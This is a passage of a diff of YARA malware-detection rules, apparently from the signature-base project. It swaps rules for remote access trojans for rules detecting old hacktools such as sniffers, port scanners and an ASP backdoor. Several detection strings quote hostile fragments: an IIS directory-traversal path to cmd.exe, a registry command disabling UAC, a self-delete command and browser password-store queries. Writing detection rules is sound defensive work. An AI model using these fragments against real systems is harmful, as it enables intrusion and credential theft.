+		$s4 = "conndb.Execute(sqllanguage)" fullword ascii
+		$s5 = "<!--#include file=sqlconn.asp-->" fullword ascii
+		$s6 = "rstsql=\"select * from \"&rstable(\"table_name\")" fullword ascii
 
 	condition:
-		7 of ($string*) and any of ($ver*)
+		all of them
 }
-rule SIGNATURE_BASE_RAT_Punisher
+import "pe"
+
+rule SIGNATURE_BASE_Fpipe2_0
 {
 	meta:
-		description = "Detects Punisher RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "1e16b3c7-9656-5570-afa2-542367aa14d8"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file FPipe2.0.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7e104cf6-69d2-590e-8999-4f0d448719f2"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/Punisher"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L704-L726"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9347b8053393c3537693273c44a2a2f095928b8bc0cdcf9365a6f060d66efeb5"
-		score = 75
-		quality = 60
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2535-L2553"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "891609db7a6787575641154e7aab7757e74d837b"
+		logic_hash = "b28566315ddda7765dfee722f5ad02c1206c6916363d86407fdc61b53148f511"
+		score = 60
+		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "abccba"
-		$b = {5C 00 68 00 66 00 68 00 2E 00 76 00 62 00 73}
-		$c = {5C 00 73 00 63 00 2E 00 76 00 62 00 73}
-		$d = "SpyTheSpy" wide ascii
-		$e = "wireshark" wide
-		$f = "apateDNS" wide
-		$g = "abccbaDanabccb"
+		$s0 = "made to port 80 of the remote machine at 192.168.1.101 with the" fullword ascii
+		$s1 = "Unable to resolve hostname \"%s\"" fullword ascii
+		$s2 = " -s    - outbound connection source port number" fullword ascii
+		$s3 = "source port for that outbound connection being set to 53 also." fullword ascii
+		$s4 = "http://www.foundstone.com" fullword ascii
+		$s19 = "FPipe" fullword ascii
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Pythorat
+import "pe"
+
+rule SIGNATURE_BASE_Instgina
 {
 	meta:
-		description = "Detects Python RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "fc98c513-1abf-5331-b351-f6182e5b19c5"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file InstGina.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ccbda689-e61a-501d-a8ed-62e3c1c20289"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/PythoRAT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L728-L751"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8edcfb8f234ff225537d19343c75788ec2a25940e80042751eea3280a967e166"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2555-L2570"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5317fbc39508708534246ef4241e78da41a4f31c"
+		logic_hash = "a55a13ced122b9901f0505d585e7a7c984d4231b3507282c1b15ff400ce51265"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "TKeylogger"
-		$b = "uFileTransfer"
-		$c = "TTDownload"
-		$d = "SETTINGS"
-		$e = "Unknown" wide
-		$f = "#@#@#"
-		$g = "PluginData"
-		$i = "OnPluginMessage"
+		$s0 = "To Open Registry" fullword ascii
+		$s4 = "I love Candy very much!!" ascii
+		$s5 = "GinaDLL" fullword ascii
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Qrat
+import "pe"
+
+rule SIGNATURE_BASE_Arttray_Zip_Folder_Arttray
 {
 	meta:
-		description = "Detects QRAT"
-		author = "Kevin Breen @KevTheHermit"
-		id = "2ee645a3-1e01-513c-a636-098e445adeca"
-		date = "2015-01-08"
+		description = "Disclosed hacktool set (old stuff) - file ArtTray.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d29909a4-8663-54c7-8f0e-68b15def869f"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L753-L773"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6d404153ca64b547885e4e4581205f5fc20faf86e8ab18002c5deedca2487225"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2572-L2588"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ee1edc8c4458c71573b5f555d32043cbc600a120"
+		logic_hash = "225be71bfd047331399162941edf06c72d2fd1afa04c78cbc51099665f50883b"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "jar"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a0 = "e-data"
-		$a1 = "quaverse/crypter"
-		$a2 = "Qrypt.class"
-		$a3 = "Jarizer.class"
-		$a4 = "URLConnection.class"
+		$s0 = "http://www.brigsoft.com" fullword wide
+		$s2 = "ArtTrayHookDll.dll" fullword ascii
+		$s3 = "ArtTray Version 1.0 " fullword wide
+		$s16 = "TRM_HOOKCALLBACK" fullword ascii
 
 	condition:
-		4 of them
+		all of them
 }
-rule SIGNATURE_BASE_RAT_Sakula : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Findoor
 {
 	meta:
-		description = "Detects Sakula v1.0 RAT"
-		author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou / NCC Group David Cannings"
-		id = "4be3179c-3b91-56db-bba9-9ccc42066f96"
-		date = "2015-10-13"
+		description = "Disclosed hacktool set (old stuff) - file findoor.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "61215a76-8c29-505d-bfef-a5f13fec476c"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://blog.airbuscybersecurity.com/public/YFR/sakula_v1x.yara"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L775-L817"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ec4e16deb6f4a671ee665c81568e87dc9a1023328e1be242eae015c1e04cfcef"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2590-L2607"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cdb1ececceade0ecdd4479ecf55b0cc1cf11cdce"
+		logic_hash = "223f324ab6b61775d500dc248b9db8363ce915ec279a893a6f0ec92b273a27c0"
+		score = 60
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "%d_of_%d_for_%s_on_%s"
-		$s2 = "/c ping 127.0.0.1 & del /q \"%s\""
-		$s3 = "=%s&type=%d"
-		$s4 = "?photoid="
-		$s5 = "iexplorer"
-		$s6 = "net start \"%s\""
-		$s7 = "cmd.exe /c rundll32 \"%s\""
-		$v1_1 = "MicroPlayerUpdate.exe"
-		$v1_2 = "CCPUpdate"
-		$v1_3 = { 81 3E 78 03 00 00 75 57  8D 54 24 14 52 68 0C 05 41 00 68 01 00 00 80 FF  15 00 F0 40 00 85 C0 74 10 8B 44 24 14 68 2C 31  41 00 50 FF 15 10 F0 40 00 8B 4C 24 14 51 FF 15  24 F0 40 00 E8 0F 09 00 }
-		$v1_4 = { 50 E8 CD FC FF FF 83 C4  04 68 E8 03 00 00 FF D7 56 E8 54 12 00 00 E9 AE  FE FF FF E8 13 F5 FF FF }
-		$serial01 = { 31 06 2e 48 3e 01 06 b1 8c 98 2f 00 53 18 5c 36 }
-		$serial02 = { 01 a5 d9 59 95 19 b1 ba fc fa d0 e8 0b 6d 67 35 }
-		$serial03 = { 47 d5 d5 37 2b cb 15 62 b4 c9 f4 c2 bd f1 35 87 }
-		$serial04 = { 3a c1 0e 68 f1 ce 51 9e 84 dd cd 28 b1 1f a5 42 }
-		$opcodes1 = { 89 FF 55 89 E5 83 EC 20 A1 ?? ?? ?? 00 83 F8 00 }
-		$opcodes2 = { 31 C0 8A 04 0B 3C 00 74 09 38 D0 74 05 30 D0 88 04 0B }
-		$opcodes3 = { 8B 45 08 8D 0C 02 8A 01 84 C0 74 08 3C ?? 74 04 34 ?? 88 01 }
-		$opcodes4 = { 30 14 38 8D 0C 38 40 FE C2 3B C6 }
-		$opcodes5 = { 30 14 39 8D 04 39 41 FE C2 3B CE }
-		$fp1 = "Symantec Corporation" ascii wide
+		$s0 = "(non-Win32 .EXE or error in .EXE image)." fullword ascii
+		$s8 = "PASS hacker@hacker.com" fullword ascii
+		$s9 = "/scripts/..%c1%1c../winnt/system32/cmd.exe" fullword ascii
+		$s10 = "MAIL FROM:hacker@hacker.com" fullword ascii
+		$s11 = "http://isno.yeah.net" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and ((3 of ($s*) and any of ($v1_*)) or ( any of ($serial0*)) or ( any of ($opcodes*))) and not 1 of ($fp*)
+		4 of them
 }
-rule SIGNATURE_BASE_RAT_Shadowtech : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Aspbackdoor_Ipclear
 {
 	meta:
-		description = "Detects ShadowTech RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "1fb15030-b400-5e70-b183-81e2527d5556"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file ipclear.vbs"
+		author = "Florian Roth (Nextron Systems)"
+		id = "71ebecea-721f-5c5d-9997-6a57f070d91c"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/ShadowTech"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L819-L839"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8ab024ae5ca62de30daf4392db5241220fcdb9b419bad555a996729aed9fa45d"
-		score = 75
-		quality = 83
-		tags = "FILE"
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2609-L2626"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "9f8fdfde4b729516330eaeb9141fb2a7ff7d0098"
+		logic_hash = "49fbe844a99aa8cae25db90e1d8cdeee13c81293bba7b3201afc4748cb0a6a7c"
+		score = 60
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "ShadowTech" nocase
-		$b = "DownloadContainer"
-		$c = "MySettings"
-		$d = "System.Configuration"
-		$newline = "#-@NewLine@-#" wide
-		$split = "pSIL" wide
-		$key = "ESIL" wide
+		$s0 = "Set ServiceObj = GetObject(\"WinNT://\" & objNet.ComputerName & \"/w3svc\")" fullword ascii
+		$s1 = "wscript.Echo \"USAGE:KillLog.vbs LogFileName YourIP.\"" fullword ascii
+		$s2 = "Set txtStreamOut = fso.OpenTextFile(destfile, ForWriting, True)" fullword ascii
+		$s3 = "Set objNet = WScript.CreateObject( \"WScript.Network\" )" fullword ascii
+		$s4 = "Set fso = CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
 
 	condition:
-		4 of them
+		all of them
 }
-rule SIGNATURE_BASE_RAT_Smallnet
+import "pe"
+
+rule SIGNATURE_BASE_Wineggdropshellfinal_Zip_Folder_Injectt
 {
 	meta:
-		description = "Detects SmallNet RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "aec1f8fd-2806-527e-9d50-422f212864de"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file InjectT.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "16f04551-050f-5a07-a35b-a3a7dbba6803"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/SmallNet"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L841-L861"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "17a6be371ce0c616cfea0b42a30e6d9118376912002d59790b133c73fd5436a3"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2628-L2645"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "516e80e4a25660954de8c12313e2d7642bdb79dd"
+		logic_hash = "01840f4df12fbf6f5f27a3050c841002678605cd373e9ea9b182b2026caa29f9"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$split1 = "!!<3SAFIA<3!!"
-		$split2 = "!!ElMattadorDz!!"
-		$a1 = "stub_2.Properties"
-		$a2 = "stub.exe" wide
-		$a3 = "get_CurrentDomain"
+		$s0 = "Packed by exe32pack" ascii
+		$s1 = "2TInject.Dll" fullword ascii
+		$s2 = "Windows Services" fullword ascii
+		$s3 = "Findrst6" fullword ascii
+		$s4 = "Press Any Key To Continue......" fullword ascii
 
 	condition:
-		($split1 or $split2) and ( all of ($a*))
+		all of them
 }
-rule SIGNATURE_BASE_RAT_Spygate
+import "pe"
+
+rule SIGNATURE_BASE_Gina_Zip_Folder_Gina
 {
 	meta:
-		description = "Detects SpyGate RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "ed015770-81ff-5d9c-8bd0-3c225e400724"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file gina.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7ebc7218-9c7b-5595-ae7b-f316fc99d1f6"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/SpyGate"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L863-L890"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5b891212f3a669c6066cfddef418faafd75c92bb2f1e8e1f48403422a73bc9fa"
-		score = 75
-		quality = 83
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2647-L2667"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e0429e1b59989cbab6646ba905ac312710f5ed30"
+		logic_hash = "1344634346f9e7e3ef96c901705ac7bd4aa9a70cfbebf71c8222544e84ca9f98"
+		score = 60
+		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$split = "abccba"
-		$a1 = "abccbaSpyGateRATabccba"
-		$a2 = "StubX.pdb"
-		$a3 = "abccbaDanabccb"
-		$b1 = "monikerString" nocase
-		$b2 = "virustotal1"
-		$b3 = "get_CurrentDomain"
-		$c1 = "shutdowncomputer" wide
-		$c2 = "shutdown -r -t 00" wide
-		$c3 = "set cdaudio door closed" wide
-		$c4 = "FileManagerSplit" wide
-		$c5 = "Chating With >> [~Hacker~]" wide
+		$s0 = "NEWGINA.dll" fullword ascii
+		$s1 = "LOADER ERROR" fullword ascii
+		$s3 = "WlxActivateUserShell" fullword ascii
+		$s6 = "WlxWkstaLockedSAS" fullword ascii
+		$s13 = "WlxIsLockOk" fullword ascii
+		$s14 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+		$s16 = "WlxShutdown" fullword ascii
+		$s17 = "The ordinal %u could not be located in the dynamic link library %s" fullword ascii
 
 	condition:
-		( all of ($a*) and #split>40) or ( all of ($b*) and #split>10) or ( all of ($c*))
+		all of them
 }
-rule SIGNATURE_BASE_RAT_Sub7Nation
+import "pe"
+
+rule SIGNATURE_BASE_Superscan3_0
 {
 	meta:
-		description = "Detects Sub7Nation RAT"
-		author = "Kevin Breen <kevin@techanarchy.net> (slightly modified by Florian Roth to improve performance)"
-		id = "4f41d649-4a90-566b-bda8-0a288380aeaa"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file superscan3.0.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d22aa3ae-4c62-5007-896d-7c473f0421a6"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/Sub7Nation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L892-L913"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bd6c423cd5cb5a86b20e5e65ab460904548b8814c92ac65e497757bb79a27681"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2669-L2690"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a9a02a14ea4e78af30b8b4a7e1c6ed500a36bc4d"
+		logic_hash = "448d3af61062c53c5b148e58697537bd98316e6c6d4d9ed9e0ff36cbd5a0b4f5"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "EnableLUA /t REG_DWORD /d 0 /f"
-		$i = "HostSettings"
-		$verSpecific1 = "sevane.tmp"
-		$verSpecific2 = "cmd_.bat"
-		$verSpecific3 = "a2b7c3d7e4"
-		$verSpecific4 = "cmd.dll"
+		$s0 = "\\scanner.ini" ascii
+		$s1 = "\\scanner.exe" ascii
+		$s2 = "\\scanner.lst" ascii
+		$s4 = "\\hensss.lst" ascii
+		$s5 = "STUB32.EXE" fullword wide
+		$s6 = "STUB.EXE" fullword wide
+		$s8 = "\\ws2check.exe" ascii
+		$s9 = "\\trojans.lst" ascii
+		$s10 = "1996 InstallShield Software Corporation" fullword wide
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Vertex
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Xsniff
 {
 	meta:
-		description = "Detects Vertex RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "f6f5967e-6b88-5d95-8fe1-a286ee8ce64c"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file xsniff.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1e61a732-8691-5f84-beb0-c9f7e6d46538"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/Vertex"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L915-L938"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c9fb0dedd97240ad29924865118ba34f5d79dbefbb13729d96d41336ec4de39e"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2692-L2713"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d61d7329ac74f66245a92c4505a327c85875c577"
+		logic_hash = "90c08db197a00885ffc62967bd814479a438f500316cf65e81fcec617517dd9c"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$string1 = "DEFPATH"
-		$string2 = "HKNAME"
-		$string3 = "HPORT"
-		$string4 = "INSTALL"
-		$string5 = "IPATH"
-		$string6 = "MUTEX"
-		$res1 = "PANELPATH"
-		$res2 = "ROOTURL"
+		$s2 = "xsiff.exe -pass -hide -log pass.log" fullword ascii
+		$s3 = "%s - simple sniffer for win2000" fullword ascii
+		$s4 = "xsiff.exe -tcp -udp -asc -addr 192.168.1.1" fullword ascii
+		$s5 = "HOST: %s USER: %s, PASS: %s" fullword ascii
+		$s7 = "http://www.xfocus.org" fullword ascii
+		$s9 = "  -pass        : Filter username/password" fullword ascii
+		$s18 = "  -udp         : Output udp packets" fullword ascii
+		$s19 = "Code by glacier <glacier@xfocus.org>" fullword ascii
+		$s20 = "  -tcp         : Output tcp packets" fullword ascii
 
 	condition:
-		all of them
+		6 of them
 }
-rule SIGNATURE_BASE_RAT_Virusrat
+import "pe"
+
+rule SIGNATURE_BASE_Sig_238_Fscan
 {
 	meta:
-		description = "Detects VirusRAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "ef00cec9-d09b-5010-8e7d-bb391c937f34"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - file fscan.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "7af4d38a-bc88-57ba-b602-4e01d3d95015"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/VirusRat"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L940-L967"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8540296fe1341a793377494cec9ba6ee0313203bee9997f0da0b692959727c59"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2715-L2736"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d5646e86b5257f9c83ea23eca3d86de336224e55"
+		logic_hash = "0af558345e8c85021fd4f8d399dacb3b6e8d9c692060c31a36e943fc48bfabff"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$string0 = "virustotal"
-		$string1 = "virusscan"
-		$string2 = "abccba"
-		$string3 = "pronoip"
-		$string4 = "streamWebcam"
-		$string5 = "DOMAIN_PASSWORD"
-		$string6 = "Stub.Form1.resources"
-		$string7 = "ftp://{0}@{1}" wide
-		$string8 = "SELECT * FROM moz_logins" wide
-		$string9 = "SELECT * FROM moz_disabledHosts" wide
-		$string10 = "DynDNS\\Updater\\config.dyndns" wide
-		$string11 = "|BawaneH|" wide
+		$s0 = "FScan v1.12 - Command line port scanner." fullword ascii
+		$s2 = " -n    - no port scanning - only pinging (unless you use -q)" fullword ascii
+		$s5 = "Example: fscan -bp 80,100-200,443 10.0.0.1-10.0.1.200" fullword ascii
+		$s6 = " -z    - maximum simultaneous threads to use for scanning" fullword ascii
+		$s12 = "Failed to open the IP list file \"%s\"" fullword ascii
+		$s13 = "http://www.foundstone.com" fullword ascii
+		$s16 = " -p    - TCP port(s) to scan (a comma separated list of ports/ranges) " fullword ascii
+		$s18 = "Bind port number out of range. Using system default." fullword ascii
+		$s19 = "fscan.exe" fullword wide
 
 	condition:
-		all of them
+		4 of them
 }
-rule SIGNATURE_BASE_RAT_Xtreme
+import "pe"
+
+rule SIGNATURE_BASE__Iissample_Nesscan_Twwwscan
 {
 	meta:
-		description = "Detects Xtreme RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "02b7bb6a-5d1e-5379-b366-868680844719"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - from files iissample.exe, nesscan.exe, twwwscan.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a710ca8e-54dc-5a98-b173-c87b22af745f"
+		date = "2014-11-23"
 		modified = "2023-12-05"
-		reference = "http://malwareconfig.com/stats/Xtreme"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_rats_malwareconfig.yar#L969-L990"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4dec8de6609f8229444291a78e920ac48b9b5751dd0cad7c95bc6529d6f8c16c"
-		score = 75
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-hacktools.yar#L2738-L2764"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6088dd060507f4efa2f4c1770dc746100966e8a7475859918488d7be6c96bc31"
+		score = 60
 		quality = 85
 		tags = ""
-		maltype = "Remote Access Trojan"
-		filetype = "exe"
-		ver = "2.9, 3.1, 3.2, 3.5"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash0 = "7f20962bbc6890bf48ee81de85d7d76a8464b862"
+		hash1 = "c0b1a2196e82eea4ca8b8c25c57ec88e4478c25b"
+		hash2 = "548f0d71ef6ffcc00c0b44367ec4b3bb0671d92f"
 
 	strings:
-		$a = "XTREME" wide
-		$b = "ServerStarted" wide
-		$c = "XtremeKeylogger" wide
-		$d = "x.html" wide
-		$e = "Xtreme RAT" wide
+		$s0 = "Connecting HTTP Port - Result: " fullword
+		$s1 = "No space for command line argument vector" fullword
+		$s3 = "Microsoft(July/1999~) http://www.microsoft.com/technet/security/current.asp" fullword
+		$s5 = "No space for copy of command line" fullword
+		$s7 = "-  Windows NT,2000 Patch Method  - " fullword
+		$s8 = "scanf : floating point formats not linked" fullword
+		$s12 = "hrdir_b.c: LoadLibrary != mmdll borlndmm failed" fullword
+		$s13 = "!\"what?\"" fullword
+		$s14 = "%s Port %d Closed" fullword
+		$s16 = "printf : floating point formats not linked" fullword
+		$s17 = "xxtype.cpp" fullword
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_RAT_Adwind
+import "pe"
+
+rule SIGNATURE_BASE__Fshttp_Fspop_Fssniffer
 {
 	meta:
-		description = "Detects Adwind RAT"
-		author = "Kevin Breen <kevin@techanarchy.net>"
-		id = "95681c07-0e9c-5688-a8a0-899617521c7b"
-		date = "2014-01-04"
+		description = "Disclosed hacktool set (old stuff) - from files FsHttp.exe, FsPop.exe, FsSniffer.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "5ca543af-2589-52b0-83f9-ad25ba76b633"
